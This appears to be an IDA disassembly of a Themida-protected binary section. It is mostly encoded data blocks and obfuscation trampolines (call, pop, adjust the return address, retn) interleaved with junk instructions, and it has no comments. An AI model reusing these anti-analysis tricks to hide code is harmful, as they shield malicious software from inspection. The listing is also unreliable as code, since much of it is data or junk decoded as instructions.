		dd 7FA28A1h, 0B96071E4h, 3B93CBD4h, 5C6FDAB9h, 613C6172h
		dd 243830Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 2B4F4DC3h, 0E9504BDBh, 0Eh, 40CD0988h
		dd 113A7FF1h, 0A1D0C50Ah, 0FF584E8h, 6AD8B6h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 134541C3h
		dd 0D9F6EE80h, 6BAh, 95B58B00h,	8B07FA2Dh, 51006AC3h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 0AE9E2h, 59540000h, 0C1FEDB10h, 10CF0EC2h, 6604E8C1h
		dd 0F766F88Bh, 0D82BF9E2h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 43C35040h, 0B12AE9D6h, 759D2958h, 2907FA19h
		dd 0FA0931B5h, 0FD82B07h, 17088h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 884F14DCh
		dd 7B9A82Fh, 6A000000h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 11BFC352h, 0BF0F8BD5h
		dd 0C183F0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	3BC35343h, 0C5056387h, 918EAE41h, 31F6B70Fh, 0FA0165B5h
		dd 0FD93B07h, 0F086h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0C01BF07Ah, 12E88481h
		dd 0BD000000h, 28764DA6h, 2D37FED9h, 72370DB0h,	5CDB7EF3h
		dd 665FF970h, 9509D98Ch, 7FA3519h, 0F04C1F6h, 9784h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 3D6FB4F6h, 66F8E89Eh, 0B5B9EE81h, 172195FFh,	0BD2307FAh
		dd 7FA1DB1h, 56006A5Bh,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 15F54F97h, 0C32BB01Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0F5C35545h, 0BE1255F9h
		dd 9C7597C3h, 0F68166ADh, 343DDD24h, 0F000008h,	0B86h
		dd 13E900h, 0B58B0000h,	7FA2F09h, 7ABEC08Bh, 8B48BF8Bh
		dd 0FA0A6DBDh
; ---------------------------------------------------------------------------
		pop	es


loc_5ECDD5:				; CODE XREF: Themida_:loc_5ECA6Aj
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	edx
		call	sub_5ECDE4
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ECDE4	proc near		; CODE XREF: Themida_:005ECDDCp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5ECDE4	endp

; ---------------------------------------------------------------------------
		mov	al, ds:0C7F98B66h
		test	[ebp+11h], ecx
		cli
		pop	es
		pop	ebx
		stosd
		ficomp	word ptr [edi]
		mov	eax, eax
		push	0
		push	esi
		call	sub_5ECE0F
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ECE0F	proc near		; CODE XREF: Themida_:005ECE07p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5ECE0F	endp

; ---------------------------------------------------------------------------
		imul	ecx, [ebx+ecx*4-5E4E64Bh], 7
		mov	edi, [ebp+7FA1125h]
		cmp	dword ptr [ebp+7FA09B9h], 7D0h
		jnz	loc_5ECE96
		push	0
		push	ebp
		call	sub_5ECE48
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ECE48	proc near		; CODE XREF: Themida_:005ECE40p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5ECE48	endp

; ---------------------------------------------------------------------------
		lahf
		sbb	ch, ch
		lahf
		dec	edx
		wait
		mov	esi, 68FC2F66h
		inc	dword ptr [ebp+7FA09B9h]
		push	0
		push	esi
		call	sub_5ECE74
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ECE74	proc near		; CODE XREF: Themida_:005ECE6Cp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5ECE74	endp

; ---------------------------------------------------------------------------
		sbb	al, cl
		mov	byte ptr ds:0BD89FD20h,	85h
		or	bh, dl
		pop	es
		mov	esi, [ebp+7FA2639h]


loc_5ECE96:				; CODE XREF: Themida_:005ECE37j
		push	dword ptr [ebp+7FA09B9h]
		jmp	loc_5ECEAF
; ---------------------------------------------------------------------------
		or	esp, [ecx]
		xchg	edi, [ecx+26h]
		adc	edi, [ebx+3Eh]
		mov	ebx, 639E8680h
		xchg	eax, edx


loc_5ECEAF:				; CODE XREF: Themida_:005ECE9Cj
		call	dword ptr [ebp+7FA012Dh]
		pusha
		or	edi, 1B8412A7h
		mov	edx, [ebp+7FA12A9h]
		popa
		sub	[ebp+7FA33D5h],	edx
		nop
		mov	esi, [ebp+7FA0465h]
		mov	[ebp+7FA0399h],	esi
		mov	edi, [ebp+7FA01B1h]
		sbb	di, 0C95Ch
		add	edi, 45F580E7h
		mov	[ebp+7FA182Dh],	eax
		push	0
		push	ecx
		call	sub_5ECEF8
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ECEF8	proc near		; CODE XREF: Themida_:005ECEF0p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5ECEF8	endp

; ---------------------------------------------------------------------------
		leave
		mov	esi, [ebp+7FA2449h]
		push	0
		push	edi
		call	sub_5ECF1A
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ECF1A	proc near		; CODE XREF: Themida_:005ECF12p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5ECF1A	endp

; ---------------------------------------------------------------------------
		dw 68A8h
		dd 0EAF4BA02h, 0DA267E44h, 6880Fh, 0BD8B0000h, 7FA1A9Dh
		dd 251D9D89h, 0CE907FAh, 0E4000000h, 0DE31CB4Bh, 0C6C7D9D3h
		dd 6A816E43h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0B3EEC353h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 1AC35040h, 0B7F78153h, 0E978D665h
		dd 9, 97F7C220h, 674033D9h, 8BF95FDAh, 0FA1929BDh, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 89B6671Ch, 608D022Dh, 0A099D89h, 0BF0F07FAh,	61C78AD7h
		dd 13E9h, 581BE800h, 919A12F9h,	978E7C94h, 0CB4D0D96h
		dd 7ABDE963h, 0FFF86EE9h, 56006AFFh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 7A801F1Ah
		dd 56609D93h, 7E9h, 6A4D5200h, 4E74FF94h, 49B50958h, 6107FA27h
		dd 2DC68166h, 6AC18BD8h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0F7C1C357h,	0C75CA0CCh
		dd 55A870D3h, 0EBFAB70Fh, 4, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0E270AD8Dh
		dd 6860Fh, 0BD8B0000h, 7FA28ADh, 10E8h,	6730C900h, 2C8DB0Ah
		dd 0EF39895Ah, 0CA99BD9h, 0E6816679h, 8D5ECD92h, 0FA150D85h
		dd 91B58907h, 5007FA31h, 0F240489h, 484h, 0E3BF6600h, 499501B9h
		dd 6A07FA2Dh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0F899DCDh, 1984h,	0DE800h, 0D1740000h
		dd 0A20C5CF7h, 71DF4B38h, 89673192h, 0FA2B518Dh, 6A5F07h
		dd 1ED5B589h, 858D07FAh, 7FEB6FAh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 5EC35242h, 43B0C371h, 83E1C3B0h
		dd 526005C0h, 290D858Bh, 15807FAh, 0FA273585h, 89506107h
		dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 0BABB48C3h, 6A58DD93h, 0D9B53300h, 6A07FA34h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 6BAF6AF6h, 83F32DE0h, 181DB58Bh,	575007FAh
		dd 1329BD03h, 5E5E07FAh, 174D95FFh, 6A07FAh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 481636C3h
		dd 31AF9024h, 6673AA7Ah, 9D8DFA8Bh, 7FE7ADBh, 3325B58Bh
		dd 0D3FF07FAh, 29159D29h, 85FF07FAh, 7FA3125h, 50DBD8Bh
		dd 15E907FAh, 0E8000009h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7FEB704h
		push	0
		push	edx
		call	sub_5ED21A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ED21A	proc near		; CODE XREF: Themida_:005ED212p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5ED21A	endp

; ---------------------------------------------------------------------------
		dw 0F707h
; ---------------------------------------------------------------------------
		retn	56B4h
; ---------------------------------------------------------------------------
		pop	edi
		cmp	dword ptr [ebp+7FA09B9h], 7D0h
		jbe	loc_5ED3AC
		push	0
		push	eax
		call	sub_5ED24B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ED24B	proc near		; CODE XREF: Themida_:005ED243p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5ED24B	endp

; ---------------------------------------------------------------------------
		xor	cl, [eax+4A5F5C58h]
		pop	ebx
		pop	ebx
		push	0FFFFFF92h
		mov	ebx, [ebp+7FA2891h]
		push	0
		push	ecx
		call	sub_5ED276
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ED276	proc near		; CODE XREF: Themida_:005ED26Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5ED276	endp

; ---------------------------------------------------------------------------
		dw 7E32h
		dd 0BABE2B04h, 0F78165B8h, 49EB534Bh, 100E381h,	0F510000h
		dd 0B5FFBBFh, 0B2850FDBh, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 408BC356h
		dd 0DDAA044Fh, 0B55DBD83h, 0F0007FEh, 3C84h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 824AB473h, 0FE79EA2h, 830FFFBFh, 6, 830Fh, 6EE90000h
		dd 89000000h, 0FA1345BDh, 5D85C707h, 107FEB5h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 23BAC351h, 0FA0BF9B5h, 37E907h, 880F0000h
		dd 3, 0FF1BF0Fh, 884h, 95896000h, 7FA24ADh, 5D85C761h
		dd 7FEB5h, 60000000h, 6E8h, 3D63BF00h, 66E5A46Ah, 0BA96CA81h
		dd 0C8B70F5Bh, 919D8D61h, 0F907FA28h, 81FE8B66h, 0FFFEFF23h
		dd 51006AFFh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0B58B55FDh, 7FA2135h
; ---------------------------------------------------------------------------


loc_5ED3AC:				; CODE XREF: Themida_:005ED23Aj
		mov	bx, ds
		push	0
		push	eax
		call	sub_5ED3BA
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ED3BA	proc near		; CODE XREF: Themida_:005ED3B2p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5ED3BA	endp

; ---------------------------------------------------------------------------
		dw 0C040h
		dd 29703A7Ch, 11E98Ah, 22B00000h, 0D4106CA5h, 0A1F99904h
		dd 0E5D647B7h, 0F6332D20h, 840F04C3h, 61h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 65C35343h, 2DEDB58Bh
		dd 95FF07FAh, 7FA1721h,	9E8h, 0DAB56A00h, 74B97DD1h, 895EA6D0h
		dd 0FA285D9Dh, 8B665007h, 240489F8h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 72C35646h, 4E0E9FBh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 3033C9C3h, 0CFFE21h,	6A00B0h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 85898DC3h, 7FA1C7Dh
		dd 0B58B70E6h, 7FA0C6Dh, 6A71E4h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0E00A8AC3h, 0A0B04A92h
		dd 0EE950h, 290C0000h, 104E240Eh, 0FF1AC1E6h, 0A70CCFBAh
		dd 12519D09h, 0B60F07FAh, 57006AD8h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0EFF54929h
		dd 0B75FFFE5h, 6BAEFA5h, 89000000h, 0FA34059Dh,	798D3107h
		dd 8B07FA03h, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 870E0A20h, 8130D41Ch, 0B2B2E6EFh
		dd 4E8C109h, 182DB509h,	0F76607FAh, 55006AE2h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0B2F3864Fh
		dd 0F29B2C3Eh, 6AD82B1Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 2F63C357h, 525050F8h
		dd 5E8h, 85C82400h, 0FE9BA0Dh, 18000000h, 8B8EC807h, 0D12A894Dh
		dd 480D736Dh, 0F5F2445h, 89585A31h, 6A241Ch, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 98489AC3h
		dd 60B964B7h, 0C70BEDBAh, 7E952h, 5950000h, 0F2366F07h
		dd 0B5FF61ABh, 7FA09B9h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 17h, 63C35343h, 3C4614Fh, 0FA1AF5B5h, 0DBD2B07h
		dd 0FF07FA00h, 0FA012D95h, 159D8907h, 0B007FA11h, 0B0CE8100h
		dd 0E609EA35h, 56006A70h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 4525CFC9h, 2D95017Fh
		dd 0E407FA18h, 50006A71h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0B70FF3E3h, 8820FFBh
		dd 53000000h, 6018D89h,	3C5E07FAh, 9F830F61h, 6A000002h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 1D2C356h,	0CEE3EC94h, 0D8B60FC4h,	6BAh, 41B58B00h
		dd 8B07FA12h, 19B529C3h, 0C107FA33h, 6A04E8h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 9705AC3h
		dd 5E9C5h, 2A7C0000h, 66C816B6h, 0D2BEE2F7h, 2B0F8F63h
		dd 56006AD8h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 97F8D51h, 0FA116985h, 6A5807h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0FC9744C3h
		dd 2B70EE92h, 0E3880FD8h, 6A000001h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0FE2FC355h
		dd 22EDEFCDh, 0C58531C0h, 0B907FA26h, 7, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 17h, 8FC35343h, 6606F924h
		dd 83AC6CBFh, 830F00C1h, 2, 8166F08Bh, 3B648AC7h, 7B860FD9h
		dd 6A000001h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 2D7DC353h, 0FC2A62AEh,	6AF8B8B7h
		dd 0E9D98C66h, 0Ch, 0E2F72792h,	644DFC68h, 51F3BB9Fh, 0F04C1F6h
		dd 11084h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1C04h, 0C3504000h, 6D794C30h, 0E26EF24Bh, 9E8B9h, 0AE160000h
		dd 0B621F815h, 5FC30B13h, 0A452F781h, 95FF3654h, 7FA1721h
		dd 8E8h, 1ED24700h, 0B1C2E2C1h,	10E8E0h, 74120000h, 6F84B8F3h
		dd 0CC5B254Dh, 0B2641AC4h, 0CE91659h, 0D8000000h, 0FD047864h
		dd 5F634140h, 5FA6044Bh, 6A5B5Eh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0DA75EDC3h, 8E58AA11h
		dd 8B66E49Bh, 6AC32BF1h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 1DCCC353h, 0C5FBCA61h
		dd 0E81F91A7h, 6, 0D71F07F5h, 2360E656h, 0FA130995h, 830F07h
		dd 61000000h, 8343D5Eh,	860F0000h, 29h,	260ADE81h, 47E9305Eh
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0D35CC357h, 6AC08BB7h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0F33EC357h, 0CBB6E9EAh, 5DDBD29h, 0C38B07FAh, 6AD88Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 8217A1C3h, 0F520D2Dh, 186h, 9589F900h, 7FA17D1h, 0C3985C7h
		dd 975107FAh, 60607A3Ah, 9501D78Bh, 7FA0819h, 612DB661h
		dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 8873D2C3h, 0ED2129BFh, 0B9BD8176h, 0D007FA09h
		dd 0F000007h, 1085h, 0CE816600h, 85FF7B4Ah, 7FA09B9h, 7E8AF4BFh
		dd 0B9B5FF2Fh, 0F507FA09h, 12D95FFh, 6A07FAh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 90A515C3h
		dd 2B199589h, 666007FAh, 0D2B1D88Bh, 2D79958Bh,	896107FAh
		dd 0FA26F985h, 0AD9D2907h, 6607FA20h, 0F681F38Bh, 32C4D3FBh
		dd 62BF66F9h, 599D290Ch, 6A07FA07h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 46D1C351h
		dd 31773376h, 0CED9D8D2h, 50DE8166h, 8B66511Fh,	0F6815EF7h
		dd 2B3763Ch, 8543C4BEh,	798D0915h, 8B07FA24h, 0FA1E39BDh
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 3FEDBA55h, 6159D89h, 6A07FAh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 13672FC3h
		dd 259589AAh, 6A07FA17h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0C655C350h,	97241D61h
		dd 850F5EDCh, 8, 0F38B6653h, 5FFBBF0Fh,	0C6CF8166h, 0D9BD8B96h
		dd 0E907FA31h, 0Dh, 75EF85B2h, 8B8131E4h, 0E1205DEh, 0F6FDE99Fh
		dd 880FFFFFh, 0Ch, 24DD9D89h, 0B58B07FAh, 7FA2895h, 8B66C18Bh
		dd 4EBF8h, 8B000000h, 3537BFFEh, 858D668Bh, 7FA150Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0E5C35141h, 39A9447h
		dd 0FC239685h, 4B7BC7BFh, 81B58B36h, 9007FA28h,	1268BF66h
		dd 0C8BE6650h, 6A9011h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0CF291C3h, 0BC6B6B98h, 0C3F7EE81h
		dd 6A6758h, 6AF08Bh, 879B58Bh, 0E96007FAh, 0Eh,	0CDEDB0CDh
		dd 7EF96CDCh, 0D605DA81h, 8B66240Bh, 858D61CEh,	7FEC1A7h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0A9C35141h, 0A47BC129h, 5C083F8h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 32C35040h, 90F88B58h
		dd 0A5F03BBEh, 0F98B506Eh, 0B0C0BF90h, 6A5D69h,	2D2DB58Bh
		dd 6A07FAh, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 1Dh,	6AC35747h, 0E3B94210h, 8A851FC5h, 0A1BD8B00h, 0FF07FA0Ah
		dd 0FA174D95h, 81666007h, 8BF971D2h, 0FA0725B5h, 9D8D6107h
		dd 7FE7ADBh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	92C35242h, 0DA5D4C54h, 0DADE46E9h, 0AE9h, 74EFDE00h
		dd 0F629A4FEh, 8B6BC3B2h, 0FD3FFF9h, 680h, 39958900h, 0FF07FA35h
		dd 0FA312585h, 0C1BD8907h, 0E907FA01h, 81Dh, 0E8h, 0ED815D00h
		dd 7FEC1B1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	9BC35747h, 0BF665C52h, 0BD812634h, 7FA09B9h, 7D0h
		dd 148860Fh, 33BE0000h,	8B6F62C6h, 0FA0AE59Dh, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0C7E73C54h, 0E38174h, 6A000001h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0BB2BC351h
		dd 2194847Fh, 2950233Ah, 0FA06419Dh, 85895F07h,	7FA2B21h
		dd 850FDB0Bh, 77h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0D5C35343h, 7A46CD5Fh, 296E7519h, 0FA1F31B5h
		dd 0D9B58B07h, 8307FA2Dh, 0FEC01BBDh, 840F0007h, 0Eh, 0E9FABF0Fh
		dd 3Dh,	0ED4BD681h, 85C732FDh, 7FEC01Bh, 1, 28E9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 0C7309C82h, 0FEC01B85h, 7, 0E59D8D00h, 6A07FA0Ah, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0EE2BC350h, 6530176Fh, 60D69FE9h, 12840Fh, 0DE90000h
		dd 64000000h, 0F28EB1E8h, 66414DD3h, 57034C72h,	2D41858Bh
		dd 576107FAh, 4AF070BFh, 23815F63h, 0FFFFFEFFh,	7E9B58Bh
		dd 8C6607FAh, 98D0FDBh,	0F000000h, 38Bh, 0F08B6600h, 0F04C3F6h
		dd 9684h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0DA4A5C35h, 8B178970h, 2195FFF2h
		dd 6A07FA17h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 23C8C352h, 0A34B7C7Fh,	0BF7CD906h
		dd 6098120Ah, 24048950h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 47C35242h, 9767F3B1h,	663AE209h, 15850Fh
		dd 9E80000h, 0A0000000h, 0A571E824h, 934F25F9h,	15D9B589h
		dd 0E95E07FAh, 412h, 0DDEC781h,	0B06978h, 38B0Fh, 8B660000h
		dd 6A70E6F2h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 74C4C350h, 0BD85897Dh,	0E407FA24h
		dd 6810F71h, 8B000000h,	0FA1781B5h, 0D8B60F07h,	12E9h
		dd 0FE567F00h, 7E204016h, 0B48736EAh, 0EBE7604Eh, 0BA75612Eh
		dd 6, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h, 14h
		dd 62C35040h, 8BFB8B66h, 50006AC3h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 9B33DA9Fh, 25CD8C6Bh
		dd 14E9BDDBh, 0A4000000h, 0AB8536F8h, 1348FBEFh, 1B753455h
		dd 10B64C17h, 0C15B31BEh, 6A04E8h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 7A06A2C3h, 6E8h, 0AC07AC00h
		dd 8B024BDDh, 0FA2D79BDh, 8C0F5E07h, 0
; ---------------------------------------------------------------------------
		mul	dx
		push	0
		push	ebp
		call	sub_5EDFF6
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EDFF6	proc near		; CODE XREF: Themida_:005EDFEEp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5EDFF6	endp

; ---------------------------------------------------------------------------
		pop	esi
		sub	[ecx], ebp
		mov	ch, 55h
		sbb	al, 0FAh
		pop	es
		jle	loc_5EE019
		mov	edi, 694D98CCh


loc_5EE019:				; CODE XREF: Themida_:005EE00Ej
		sub	ebx, eax
		stc
		push	eax
		mov	[esp], ebx
		ja	loc_5EE02A
		mov	si, 0E95h


loc_5EE02A:				; CODE XREF: Themida_:005EE020j
		push	dword ptr [ebp+7FA09B9h]
		push	0
		push	eax
		call	sub_5EE03B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EE03B	proc near		; CODE XREF: Themida_:005EE033p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5EE03B	endp

; ---------------------------------------------------------------------------
		pop	ebp
		xor	eax, 0C9ADBCE1h
		and	al, [ecx+eax]
		mov	ebp, 7FA2631h
		adc	esi, 0C57EA98h
		call	dword ptr [ebp+7FA012Dh]
		mov	[ebp+7FA25A1h],	eax
		xor	[ebp+7FA2595h],	edi
		mov	al, 0
		push	0
		push	eax
		call	sub_5EE07E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EE07E	proc near		; CODE XREF: Themida_:005EE076p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5EE07E	endp

; ---------------------------------------------------------------------------
		dw 0EBADh
		dd 0E6721FBCh, 5DBD8B70h, 0E407FA0Ah, 51006A71h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 613C86B8h, 23C830Fh,	8D890000h, 7FA2419h, 0E9D8B60Fh
		dd 0Fh,	0B66C6360h, 0A764D570h,	4828CF16h, 0BA506896h
		dd 6, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h, 1Bh
		dd 0F3C35747h, 618B3DBh, 8BD4ACB0h, 0FA2645BDh,	0BEC38B07h
		dd 4ED94E87h, 6A04E8C1h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 60F9C352h, 1EFD8D89h
		dd 0BD2B07FAh, 7FA02D9h, 0E2F76661h, 0DE816660h, 0E0809E11h
		dd 0D82B612Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	75C35343h, 663D4764h, 66491966h, 328FE781h, 52006A58h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0D3D7B2A2h, 0FE8B6680h, 68B0Fh, 0BD890000h, 7FA132Dh
		dd 880FD82Bh, 14Eh, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 9DC35141h, 0CD3A306h,	0C1BFCF6Bh, 8946CFB5h
		dd 0FA15659Dh, 7B907h, 8B660000h, 0C183F1h, 1809B529h
		dd 0D93B07FAh, 108860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0BF0FBEC3h, 0A19D89FAh
		dd 6607FA07h, 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 8BE89C3h, 895B1AA5h, 0FA10ADBDh
		dd 4C1F607h, 91840Fh, 95FF0000h, 7FA1721h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 7DC35040h, 57CDD67Fh
